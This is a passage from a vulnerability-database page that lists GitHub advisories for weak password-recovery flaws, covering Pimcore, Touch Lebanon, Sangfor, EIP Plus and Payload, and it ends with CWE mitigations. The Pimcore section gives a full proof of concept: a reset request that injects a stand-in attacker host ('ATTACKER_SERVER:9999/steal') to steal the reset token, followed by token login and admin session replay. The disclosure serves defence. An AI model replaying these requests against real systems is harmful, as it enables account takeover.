application/json\n\n{\"username\":\"admin\",\"resetPasswordUrl\":\"https://ATTACKER_SERVER:9999/steal\"}\n```\n\u003cimg width=\"1756\" height=\"882\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23\" /\u003e\n\n- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB\n\n### 2. Confirm token was generated\n\nDatabase query shows the recovery token was created:\n\n```\n name    has_token   token_prefix\n admin   1           def50200cdbd3c1292288a716c623f\n```\n\n### 3. Token login (after victim clicks the link in their email)\n\n```http\nPOST /pimcore-studio/api/login/token HTTP/1.1\nHost: TARGET\nContent-Type: application/json\n\n{\"token\":\"def50200cdbd3c1292288a716c623f...full_token...\"}\n```\n\n**Response:**\n\n```\nHTTP/1.1 200 OK\nSet-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict\nSet-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax\n```\n\u003cimg width=\"1756\" height=\"679\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5\" /\u003e\n\n### 4. Verify full admin access with the stolen session\n\n```http\nGET /pimcore-studio/api/users HTTP/1.1\nHost: TARGET\nCookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419\n```\n\n**Response:** `HTTP/1.1 200 OK`\n\n```json\n{\"totalItems\":1,\"items\":[{\"id\":1,\"username\":\"admin\",\"additionalAttributes\":[]}]}\n```\n\u003cimg width=\"1668\" height=\"906\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab\" /\u003e\n\nFull admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.\n\n## Impact\n\nAn unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.\n\nThe attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).\n\nOnce authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.\n\n## Recommended Fix\n\nRemove the `resetPasswordUrl` parameter entirely and construct the URL server-side from the configured system domain:\n\n```php\n$loginUrl = \u0027https://\u0027 . $this-\u003edomain . \u0027/admin/login?token=\u0027 . $token;\n```\n\nIf the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)\n- Package: `pimcore/studio-backend-bundle`\n- Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)",
  "id": "GHSA-h854-c3m3-mh5v",
  "modified": "2026-08-28T19:04:16Z",
  "published": "2026-08-28T19:04:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-h854-c3m3-mh5v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/pull/1882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/commit/ea9d329686f5e5aea2eec378d63ac2deb965bb27"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass"
}

GHSA-HGCM-PH3V-MP4J

Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 15:31
VLAI
Details

A vulnerability in the password reset workflow of the Touch Lebanon Mobile App 2.20.2 allows an attacker to bypass the OTP reset password mechanism. By manipulating the reset process, an unauthorized user may be able to reset the password and gain access to the account without needing to provide a legitimate authentication factor, such as an OTP. This compromises account security and allows for potential unauthorized access to user data.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-50503"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T14:15:45Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the password reset workflow of the Touch Lebanon Mobile App 2.20.2 allows an attacker to bypass the OTP reset password mechanism. By manipulating the reset process, an unauthorized user may be able to reset the password and gain access to the account without needing to provide a legitimate authentication factor, such as an OTP. This compromises account security and allows for potential unauthorized access to user data.",
  "id": "GHSA-hgcm-ph3v-mp4j",
  "modified": "2025-08-20T15:31:41Z",
  "published": "2025-08-20T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50503"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ksarieddine/disclosures/blob/main/Touch%20Mobile%20Application/2FA%20Bypass%20-%20Touch%20Lebanon.md"
    },
    {
      "type": "WEB",
      "url": "https://www.touch.com.lb/autoforms/portal/touch/personal/contentandapps/mobileapp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HHQ2-W5V4-QXJ2

Vulnerability from github – Published: 2026-01-22 15:31 – Updated: 2026-01-22 15:31
VLAI
Details

A security flaw has been discovered in Sangfor Operation and Maintenance Security Management System up to 3.0.12. This affects the function edit_pwd_mall of the file /fort/login/edit_pwd_mall. The manipulation of the argument flag results in weak password recovery. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-1325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T15:16:50Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in Sangfor Operation and Maintenance Security Management System up to 3.0.12. This affects the function edit_pwd_mall of the file /fort/login/edit_pwd_mall. The manipulation of the argument flag results in weak password recovery. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-hhq2-w5v4-qxj2",
  "modified": "2026-01-22T15:31:32Z",
  "published": "2026-01-22T15:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LX-LX88/cve/issues/21"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.342301"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.342301"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.736208"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HM5M-9PHW-V9HQ

Vulnerability from github – Published: 2025-11-10 03:30 – Updated: 2025-11-12 18:31
VLAI
Details

EIP Plus developed by Hundred Plus has a Weak Password Recovery Mechanism vulnerability, allowing unauthenticated remote attacker to predict or brute-force the 'forgot password' link, thereby successfully resetting any user's password.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-12866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-10T03:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "EIP Plus developed by Hundred Plus has a Weak Password Recovery Mechanism vulnerability, allowing unauthenticated remote attacker to predict or brute-force the \u0027forgot password\u0027 link, thereby successfully resetting any user\u0027s password.",
  "id": "GHSA-hm5m-9phw-v9hq",
  "modified": "2025-11-12T18:31:10Z",
  "published": "2025-11-10T03:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12866"
    },
    {
      "type": "WEB",
      "url": "https://www.chtsecurity.com/news/20848f61-9db5-44fd-8574-c9d6a54e4010"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10491-004b0-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10490-2534b-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HP5W-3HXX-VMWF

Vulnerability from github – Published: 2026-04-01 16:08 – Updated: 2026-04-08 18:19
VLAI
Summary
Payload: Pre-Authentication Account Takeover via Parameter Injection in Password Recovery
Details

Impact

A vulnerability in the password recovery flow could allow an unauthenticated attacker to perform actions on behalf of a user who initiates a password reset.

Users are affected if:

  • They are using Payload version < v3.79.1 with any auth-enabled collection using the built-in forgot-password functionality.

Patches

Input validation and URL construction in the password recovery flow have been hardened.

Users should upgrade to v3.79.1 or later.

Workarounds

There are no complete workarounds. Upgrading to v3.79.1 is recommended.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "payload"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.79.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@payloadcms/graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.79.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-472",
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T16:08:02Z",
    "nvd_published_at": "2026-04-01T18:16:31Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nA vulnerability in the password recovery flow could allow an unauthenticated attacker to perform actions on behalf of a user who initiates a password reset.\n\nUsers are affected if:\n\n- They are using Payload version **\u003c v3.79.1** with any auth-enabled collection using the built-in `forgot-password` functionality.\n\n### Patches\n\nInput validation and URL construction in the password recovery flow have been hardened.\n\nUsers should upgrade to **v3.79.1** or later.\n\n### Workarounds\n\nThere are no complete workarounds. Upgrading to **v3.79.1** is recommended.",
  "id": "GHSA-hp5w-3hxx-vmwf",
  "modified": "2026-04-08T18:19:10Z",
  "published": "2026-04-01T16:08:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/payloadcms/payload/security/advisories/GHSA-hp5w-3hxx-vmwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34751"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/payloadcms/payload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/payloadcms/payload/releases/tag/v3.79.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Payload: Pre-Authentication Account Takeover via Parameter Injection in Password Recovery"
}
Mitigation
Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Mitigation
Architecture and Design

Do not use standard weak security questions and use several security questions.

Mitigation
Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Mitigation
Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Mitigation
Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Mitigation
Architecture and Design

Assign a new temporary password rather than revealing the original password.

CAPEC-50: Password Recovery Exploitation

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.

← Back to the CWE list